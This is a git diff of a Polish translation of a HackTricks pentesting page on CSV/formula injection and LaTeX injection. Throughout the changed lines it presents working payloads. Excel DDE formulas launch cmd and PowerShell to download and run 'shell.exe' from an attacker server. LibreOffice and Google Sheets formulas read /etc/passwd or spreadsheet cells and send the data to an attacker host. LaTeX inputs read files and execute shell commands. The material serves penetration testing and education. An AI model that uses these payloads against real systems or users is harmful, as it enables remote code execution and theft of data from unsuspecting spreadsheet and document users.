mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-21 08:28:27 +00:00
Translated ['pentesting-web/formula-csv-doc-latex-ghostscript-injection.
This commit is contained in:
parent
e0ac2a6b39
commit
3f58885302
1 changed files with 29 additions and 29 deletions
|
@ -14,9 +14,9 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,10 +26,10 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### Informacje
|
||||
|
||||
Jeśli **wejście** jest **odzwierciedlane** w **plikach CSV** (lub w innych plikach, które prawdopodobnie zostaną otwarte w **Excelu**), możesz umieścić formuły Excela, które zostaną **wykonane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu Excela.
|
||||
Jeśli Twoje **wejście** jest **odzwierciedlane** wewnątrz plików **CSV** (lub innych plików, które prawdopodobnie zostaną otwarte w **Excelu**), możesz umieścić formuły Excela, które zostaną **wykonane**, gdy użytkownik **otworzy plik** lub gdy użytkownik **kliknie w jakiś link** w arkuszu kalkulacyjnym Excela.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Obecnie **Excel będzie alarmował** (kilka razy) **użytkownika, gdy coś jest ładowane spoza Excela**, aby zapobiec mu działaniom złośliwym. Dlatego konieczne jest zastosowanie szczególnych wysiłków w zakresie inżynierii społecznej w celu osiągnięcia ostatecznego ładunku.
|
||||
Obecnie **Excel będzie alarmował** (kilka razy) użytkownika, gdy coś jest ładowane spoza Excela, aby zapobiec mu działaniom złośliwym. Dlatego konieczne jest zastosowanie szczególnych wysiłków w dziedzinie inżynierii społecznej do ostatecznego ładunku.
|
||||
{% endhint %}
|
||||
|
||||
### [Wordlist](https://github.com/payloadbox/csv-injection-payloads)
|
||||
|
@ -41,22 +41,22 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
=cmd|'/C powershell IEX(wget attacker_server/shell.exe)'!A0
|
||||
=cmd|'/c rundll32.exe \\10.0.0.1\3\2\1.dll,0'!_xlbgnm.A1
|
||||
```
|
||||
### Hiperłącze
|
||||
### Hyperłącze
|
||||
|
||||
**Poniższy przykład jest bardzo przydatny do eksfiltracji zawartości z końcowego arkusza kalkulacyjnego i wykonywania żądań do dowolnych lokalizacji. Wymaga jednak kliknięcia w link (i zaakceptowania ostrzeżeń).**
|
||||
**Poniższy przykład jest bardzo przydatny do eksfiltracji zawartości z końcowego arkusza kalkulacyjnego i wykonywania żądań do dowolnych lokalizacji. Ale wymaga kliknięcia w link (i zaakceptowania ostrzeżeń).**
|
||||
|
||||
Poniższy przykład został zaczerpnięty z [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
Przykład ten został zaczerpnięty z [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania rekordami studenckimi, które jest wykorzystywane poprzez atak CSV injection. Głównym zamiarem atakującego jest skompromitowanie systemu używanego przez nauczycieli do zarządzania danymi uczniów. Metoda ta polega na wstrzyknięciu złośliwego ładunku do aplikacji, poprzez wprowadzenie szkodliwych formuł do pól przeznaczonych na szczegóły uczniów. Atak przebiega następująco:
|
||||
|
||||
1. **Wstrzyknięcie Złośliwego Ładunku:**
|
||||
* Atakujący przesyła formularz szczegółów ucznia, ale zawiera w nim formułę często używaną w arkuszach kalkulacyjnych (np. `=HYPERLINK("<malicious_link>","Kliknij tutaj")`).
|
||||
* Ta formuła ma na celu stworzenie hiperłącza, które jednak wskazuje na złośliwy serwer kontrolowany przez atakującego.
|
||||
* Atakujący przesyła formularz szczegółów ucznia, ale zawiera formułę często używaną w arkuszach kalkulacyjnych (np. `=HYPERLINK("<malicious_link>","Kliknij tutaj")`).
|
||||
* Ta formuła ma na celu utworzenie hiperłącza, które jednak wskazuje na złośliwy serwer kontrolowany przez atakującego.
|
||||
2. **Eksportowanie Skompromitowanych Danych:**
|
||||
* Nauczyciele, nieświadomi kompromitacji, korzystają z funkcjonalności aplikacji do eksportu danych do pliku CSV.
|
||||
* Plik CSV, po otwarciu, nadal zawiera złośliwy ładunek. Ten ładunek pojawia się jako klikalne hiperłącze w arkuszu kalkulacyjnym.
|
||||
3. **Wywołanie Ataku:**
|
||||
* Nauczyciel kliknie w hiperłącze, wierząc że jest to legalna część szczegółów ucznia.
|
||||
* Nauczyciel kliknie w hiperłącze, wierząc że jest to prawidłowa część szczegółów ucznia.
|
||||
* Po kliknięciu, wrażliwe dane (potencjalnie zawierające szczegóły z arkusza kalkulacyjnego lub komputera nauczyciela) są przesyłane na serwer atakującego.
|
||||
4. **Logowanie Danych:**
|
||||
* Serwer atakującego odbiera i rejestruje wrażliwe dane przesłane z komputera nauczyciela.
|
||||
|
@ -66,13 +66,13 @@ Wyobraź sobie naruszenie bezpieczeństwa w systemie zarządzania rekordami stud
|
|||
|
||||
**Sprawdź** [**oryginalny post**](https://notsosecure.com/data-exfiltration-formula-injection-part1) **dla dalszych szczegółów.**
|
||||
|
||||
W określonych konfiguracjach lub starszych wersjach Excela, funkcja o nazwie Dynamic Data Exchange (DDE) może być wykorzystana do wykonywania arbitralnych poleceń. Aby to osiągnąć, należy włączyć następujące ustawienia:
|
||||
W określonych konfiguracjach lub starszych wersjach Excela, funkcja o nazwie Dynamic Data Exchange (DDE) może być wykorzystana do wykonywania arbitralnych poleceń. Aby to wykorzystać, należy włączyć następujące ustawienia:
|
||||
|
||||
* Przejdź do Plik → Opcje → Centrum Zaufania → Ustawienia Centrum Zaufania → Zewnętrzne Zawartości i włącz **Uruchamianie Serwera Dynamic Data Exchange**.
|
||||
* Przejdź do Plik → Opcje → Centrum Zaufania → Ustawienia Centrum Zaufania → Zawartość Zewnętrzna i włącz **Uruchamianie Serwera Dynamic Data Exchange**.
|
||||
|
||||
Gdy arkusz kalkulacyjny z złośliwym ładunkiem zostanie otwarty (i jeśli użytkownik zaakceptuje ostrzeżenia), ładunek zostanie wykonany. Na przykład, aby uruchomić aplikację kalkulatora, ładunek będzie:
|
||||
Gdy arkusz kalkulacyjny z złośliwym ładunkiem zostanie otwarty (i jeśli użytkownik zaakceptuje ostrzeżenia), ładunek zostanie wykonany. Na przykład, aby uruchomić kalkulator, ładunek będzie:
|
||||
```markdown
|
||||
`=cmd|' /C calc'!xxx`
|
||||
=cmd|' /C calc'!xxx
|
||||
```
|
||||
Dodatkowe polecenia mogą również zostać wykonane, takie jak pobranie i wykonanie pliku za pomocą PowerShell:
|
||||
```bash
|
||||
|
@ -83,20 +83,20 @@ Dodatkowe polecenia mogą również zostać wykonane, takie jak pobranie i wykon
|
|||
LibreOffice Calc może być używany do odczytywania plików lokalnych i wycieku danych. Oto kilka metod:
|
||||
|
||||
* Odczytanie pierwszej linii z lokalnego pliku `/etc/passwd`: `='file:///etc/passwd'#$passwd.A1`
|
||||
* Wyciek odczytanych danych do serwera kontrolowanego przez atakującego: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* Wyciekanie więcej niż jednej linii: `=WEBSERVICE(CONCATENATE("http://<attacker IP>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* Wyciek DNS (wysyłanie odczytanych danych jako zapytania DNS do serwera DNS kontrolowanego przez atakującego): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<attacker domain>"))`
|
||||
* Wyciek odczytanych danych do serwera kontrolowanego przez atakującego: `=WEBSERVICE(CONCATENATE("http://<adres IP atakującego>:8080/",('file:///etc/passwd'#$passwd.A1)))`
|
||||
* Wyciekanie więcej niż jednej linii: `=WEBSERVICE(CONCATENATE("http://<adres IP atakującego>:8080/",('file:///etc/passwd'#$passwd.A1)&CHAR(36)&('file:///etc/passwd'#$passwd.A2)))`
|
||||
* Wyciek DNS (wysyłanie odczytanych danych jako zapytania DNS do serwera DNS kontrolowanego przez atakującego): `=WEBSERVICE(CONCATENATE((SUBSTITUTE(MID((ENCODEURL('file:///etc/passwd'#$passwd.A19)),1,41),"%","-")),".<domena atakującego>"))`
|
||||
|
||||
### Arkusze Google do wycieku danych Out-of-Band (OOB)
|
||||
|
||||
Arkusze Google oferują funkcje, które mogą być wykorzystane do wycieku danych Out-of-Band (OOB):
|
||||
Arkusz Google oferuje funkcje, które mogą być wykorzystane do wycieku danych Out-of-Band (OOB):
|
||||
|
||||
* **CONCATENATE**: Łączy ciągi znaków - `=CONCATENATE(A2:E2)`
|
||||
* **IMPORTXML**: Importuje dane z typów danych strukturalnych - `=IMPORTXML(CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
* **IMPORTFEED**: Importuje kanały RSS lub ATOM - `=IMPORTFEED(CONCAT("http://<attacker IP:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||||
* **IMPORTHTML**: Importuje dane z tabel HTML lub list - `=IMPORTHTML (CONCAT("http://<attacker IP:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||||
* **IMPORTRANGE**: Importuje zakres komórek z innego arkusza kalkulacyjnego - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Sheet_Id]", "sheet1!A2:E2")`
|
||||
* **IMAGE**: Wstawia obraz do komórki - `=IMAGE("https://<attacker IP:Port>/images/srpr/logo3w.png")`
|
||||
* **IMPORTXML**: Importuje dane z typów danych strukturalnych - `=IMPORTXML(CONCAT("http://<adres IP atakującego:Port>/123.txt?v=", CONCATENATE(A2:E2)), "//a/a10")`
|
||||
* **IMPORTFEED**: Importuje kanały RSS lub ATOM - `=IMPORTFEED(CONCAT("http://<adres IP atakującego:Port>//123.txt?v=", CONCATENATE(A2:E2)))`
|
||||
* **IMPORTHTML**: Importuje dane z tabel lub list HTML - `=IMPORTHTML (CONCAT("http://<adres IP atakującego:Port>/123.txt?v=", CONCATENATE(A2:E2)),"table",1)`
|
||||
* **IMPORTRANGE**: Importuje zakres komórek z innego arkusza kalkulacyjnego - `=IMPORTRANGE("https://docs.google.com/spreadsheets/d/[Id_arkusza]", "arkusz1!A2:E2")`
|
||||
* **IMAGE**: Wstawia obraz do komórki - `=IMAGE("https://<adres IP atakującego:Port>/images/srpr/logo3w.png")`
|
||||
|
||||
## Wstrzyknięcie LaTeX
|
||||
|
||||
|
@ -111,7 +111,7 @@ Jednak istnieją inne sposoby na wykonanie poleceń, dlatego aby uniknąć RCE,
|
|||
|
||||
### Odczytaj plik <a href="#read-file" id="read-file"></a>
|
||||
|
||||
Może być konieczne dostosowanie wstrzyknięcia za pomocą opakowań takich jak \[ lub $.
|
||||
Możesz potrzebować dostosować wstrzyknięcie za pomocą opakowań takich jak \[ lub $.
|
||||
```bash
|
||||
\input{/etc/passwd}
|
||||
\include{password} # load .tex file
|
||||
|
@ -169,7 +169,7 @@ Wejście polecenia zostanie przekierowane do stdin, użyj pliku tymczasowego, ab
|
|||
## Get the value of shell_escape_commands without needing to read pdfetex.ini
|
||||
\input{|"kpsewhich --var-value=shell_escape_commands > /tmp/b.tex"}
|
||||
```
|
||||
Jeśli otrzymasz błąd LaTex, rozważ użycie base64, aby uzyskać wynik bez złych znaków.
|
||||
Jeśli otrzymasz jakikolwiek błąd LaTex, rozważ użycie base64, aby uzyskać wynik bez złych znaków.
|
||||
```bash
|
||||
\immediate\write18{env | base64 > test.tex}
|
||||
\input{text.tex}
|
||||
|
@ -179,7 +179,7 @@ Jeśli otrzymasz błąd LaTex, rozważ użycie base64, aby uzyskać wynik bez z
|
|||
\input|ls|base4
|
||||
\input{|"/bin/hostname"}
|
||||
```
|
||||
### Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
### Atak typu Cross Site Scripting <a href="#cross-site-scripting" id="cross-site-scripting"></a>
|
||||
|
||||
Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
||||
```bash
|
||||
|
@ -199,7 +199,7 @@ Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -209,8 +209,8 @@ Od [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
Loading…
Add table
Reference in a new issue